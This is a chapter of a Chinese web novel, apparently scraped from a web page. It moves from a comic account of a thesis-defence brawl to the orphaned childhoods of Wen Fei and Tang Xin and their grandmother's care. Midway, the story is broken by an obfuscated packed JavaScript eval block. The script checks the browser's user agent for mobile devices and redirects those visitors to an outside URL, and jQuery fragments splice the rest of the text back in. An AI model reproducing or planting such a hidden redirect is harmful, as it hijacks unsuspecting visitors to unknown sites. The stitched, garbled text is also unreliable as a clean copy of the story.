这一句话,恍若惊雷把众人震得外焦里嫩,心思敏感的,眉头一皱,眼睛一眯,脸色顿时黑了下来。
装货哥的室友们的神情那叫一个精彩纷呈,其中有人想出来说点什么,被身边人一把拉了回去死死摁住。
此时,周围的女生们已经开始相互探底,左一句‘你来找王坬有什么事吗,我是他女朋友’;右一句‘什么,你是他女朋友,我也是啊’;前一句‘不是,啊——你们不会都是来等王坬的吧’;后一句‘别太抽象,姐们儿,你们别是谁请来的气氛组吧’。
那场面,真是,啧啧,听取蛙声一片!
我和娜娜答辩完出来先去了趟洗手间,出来的时候场面已经乱成一锅粥。前面发生的事还是和旁边教室里钻出来凑热闹的一颗头打听来的。
然后,精彩的来了。
装货哥答辩完从教室里走出来。所有人目光向他看齐,眼冒精光、红光、绿光……
当时周围的人太多,我和娜娜实在挤不进去。厘清局势的时候,装货哥已经被女生们圈在中间打得鼻青脸肿,娜娜跳起来看了眼说他快要变成一只死蛙了。
教室里一位老师听着外面太吵开门来赶人,结果只一眼就‘啪’地把门合上缩回去。后来出来一个大嗓门老师吼了一句‘教室门口吵吵嚷嚷得像什么样子’才把场面控制住。
然后我就不知道啦,我们这些无关人员被老师赶走了。”
郑璐璐显然有些说书的天赋,把这一事故讲得跌宕起伏,感情充沛到位,表情活灵活现,音调高低起伏,听得谢韵之是啧啧称奇,一旁蹭瓜的温斐也觉得今天的蛋炒饭格外好吃。
——————
“诶?你不是上午第三个答辩的吗,怎么折腾到现在才来吃饭。”
轻快明亮的声音把温斐的注意力从隔壁的情景剧中拉回来,他抬头看向来人。
黑色中长发,没有扎,随意别在耳后。瓜子脸,大眼睛,鼻梁高挺,樱桃小嘴,皮肤白皙,脖颈修长,身材匀称,背脊挺拔,走姿轻盈,像活泼的精灵,带着满满的生命力一步步落到温斐身旁。
大概是因为毕业答辩,罕见地穿着一件白色衬衫配黑色百褶裙。
是唐芯,温斐15年的同桌,18年的邻居,然后默契地考上同一所大学,只不过一个是化学专业,一个是材料专业。
唐芯拉开对面的椅子坐下,双臂撑着桌面,两只手抵着下颌,一双水盈盈的眼睛直勾勾地盯着他,大大的眼睛大大地睁着闪烁着大大的问号。
温斐放下筷子,身体后倾靠着椅背,双手环抱在胸前,没忍住偏过头给了对面的罪魁祸首一个白眼。
“答辩完出来在学院门口被电动车撞了一下,没想到低血糖晕倒被送进医院。”
简单陈述了这一早上的兵荒马乱,刻意隐瞒自己又“忘”吃早餐的事实。
“你没事吧~”唐芯闻言一惊,身体下意识前倾细细察看他的神情,生怕有哪里不好。
“我没事,倒是你,你给我发的消息什么意思?”
温斐懒散地坐着,任由她打量,眼睑上挑,表情是一如既往的漫不经心,语气却毫不客气。
唐芯被问得心虚,神色复杂难辨,嘴巴几度张合,却欲言又止。最后头往后仰,带动身体往后斜靠在椅子上,十指交错,不安地搅动着。
仿古的壁灯发出昏黄的光,半映少女面庞,明暗间晦涩的情绪在眼底沉浮、浮沉,最终,化成一声长久的叹息。
“我外婆、她……希望走之前能看见我幸福。”
“外婆——怎么样了?”提到外婆,温斐立刻和缓了态度,小心观察对面人的神色,轻声问道。
——————
温斐和唐芯的父母在他们七岁那年死于同一场大型交通事故。
比起父母双亡后便再无任何亲眷,只有父母留下的一套房子和一张价值不斐的银行卡,独自长大的温斐,唐芯至少还有一个相依为命的外婆。
六层的筒子楼,一层是唐芯父母开的幸福里超市,二层是唐芯家,三层是温斐家。
温斐还记得,当时小小的他站在自己家空荡荡的客厅里,和同样小小的唐芯沉默听着楼下喧嚣的骂战。
唐芯那不知道从哪冒出来的所谓叔叔婶婶、姑姑姑父、姨婆姨姑等等牛鬼蛇神挤满了狭窄的二楼楼道。
他们把两处房产当做自己的囊中之物,如处决“无主之物”般随意。还要点脸的说自己可以出钱买房子、超市,只是看在亲戚的份上意思意思给点就行;不要脸的直接明抢。
僧多肉少,几方人自己说着说着便吵起来,吵不过、气不过,就开始大打出手。
女人对上女人,薅头发的、扯袖子的、拉衣襟的、挠脸的,掐划拧拉,嘴上还不忘对骂,都是些乡土俚语,听不懂但肯定骂得很难听;男人对上男人,嘴里叼着烟倒是显得安静些,手上动作却不轻,踢拽打摔,拳拳到肉,力到用时方恨小。
新来的街坊见了还怪道现在的□□竟如此明目张胆,光天化日之下打家劫舍,和旁人一打听才知他们竟是打断骨头连着筋的亲戚。
啧啧啧,真是世风日下,人心不古。
楼下的热闹与楼上的小孩无关,小孩不懂大人的世界,只觉得吵闹。
没有人要唐芯,唐芯太小了,他们看不见;唐芯又太大了,他们看不上。
最后,是从乡下赶过来的外婆请来居委会,掏出房产证,两个房产白纸黑字写得都是外婆的名字,这才在看热闹的街坊邻居和居委会的帮助下结束混战。
唐芯的父亲很清楚自己家亲戚有多极品,当初买房时特意研读过法律条文,确认妻子亲眷只有她和丈母娘后就把两个房产都只写了丈母娘的名字,这样哪怕他们夫妻俩出了什么意外,那帮子东西都蹭不到一点好处。
不得不说,以结果论,很有先见之明。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408786|168788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外婆在居委会人员的陪同下到温斐家接走了来避难的小唐芯。
头发掺白却精神矍铄的老人,伸出那双因常年劳作而布满老茧的双手,轻轻环抱住她的小小的孩子,低声道:“来,孩子,外婆带你回家。”
小唐芯窝在外婆怀里,世界终于安静了,外婆的身形并不高大魁梧,但对年幼的她而言,已足够遮蔽风雨,带来温暖,组成一个新的家庭。
当然,这个家里,最好还要有一个人,小唐芯贪心地想。
“斐斐~”
她向他伸出手。
……
温斐看着外婆略显佝偻的背影牵着唐芯一步一步回家,面无表情关门,顺便把神色复杂的社区工作人员拦在外面。
回到卧室把自己扔上床,闭眼,克制不去想刚刚被自己拒绝时女孩瞬间失落的脸,那张洋娃娃似的脸看着好像受了什么天大的委屈。
“笨蛋。”清冷稚嫩的童音在潮湿阴冷的小房间里回响。
只有七岁的小温斐知道,谁才是那个大笨蛋。
——
什么是幸运呢,也许是别扭的小孩遇见了心软的大人吧。
外婆养一个小唐芯还不够,还想顺便把温斐也养了。
但温斐自小孤僻,自诩独立,坚决认为自己可以养好自己,只在实在推拒不得时,“勉强”接受外婆的好意。
童年在剧变后拨开云雾见天明,世界不再晦涩难懂,世界在每天的点滴之间。
是收银台旁什锦口味的棒棒糖,是上学路上的纯牛奶,是放学路上的淀粉肠,是文具店里童趣缤纷的铅笔橡皮,是书店里夸张绚丽的小说封面,是电视里的羊羊动画片,是校服上密密麻麻的针线,是身边的叽叽喳喳;
有是一碗色香味俱全的红烧肉,有时是一大盘不同馅料的饺子,是考试前油条鸡蛋“百分组合”,是寒暑假无论多晚起床都会有的热腾腾的“早餐”;春天是被反复叮嘱增减的衣物,夏天是各种口味的冰棒,秋天是老人家自己舍不得却舍得给孩子的张扬舞爪的大闸蟹,冬天是被重新塞满棉花带着阳光味道的棉袄;是过年时三个人的团圆饭,是元宵节必不可少的黑芝麻汤圆,是端午节保留节目“咸甜粽子”之争,是中秋节花样百出、越来越难吃的月饼,五仁,这个家里没有你的位置。
就这样,慢慢地,时间静静流淌,十数年一晃而过。
时间的影子在唐芯身上尤为明显,褪去脸上圆嘟嘟的婴儿肥,三头身小身子如见风就长,抽条成亭亭玉立的少女,小唐芯就这样被时间和爱精心雕琢成了乐观开朗的大唐芯。
时间的魔法在温斐身上好似失效了,唯独留下一比一放大的作用,温润如玉的小少年长成了温润如玉的青年,小温斐变成了大温斐。
时间大神好似刻意收敛了自己,温柔地只在外婆脸上留下几道皱纹和满头银丝。
可惜,时间就是时间,祂会一丝不苟地履行自己的使命。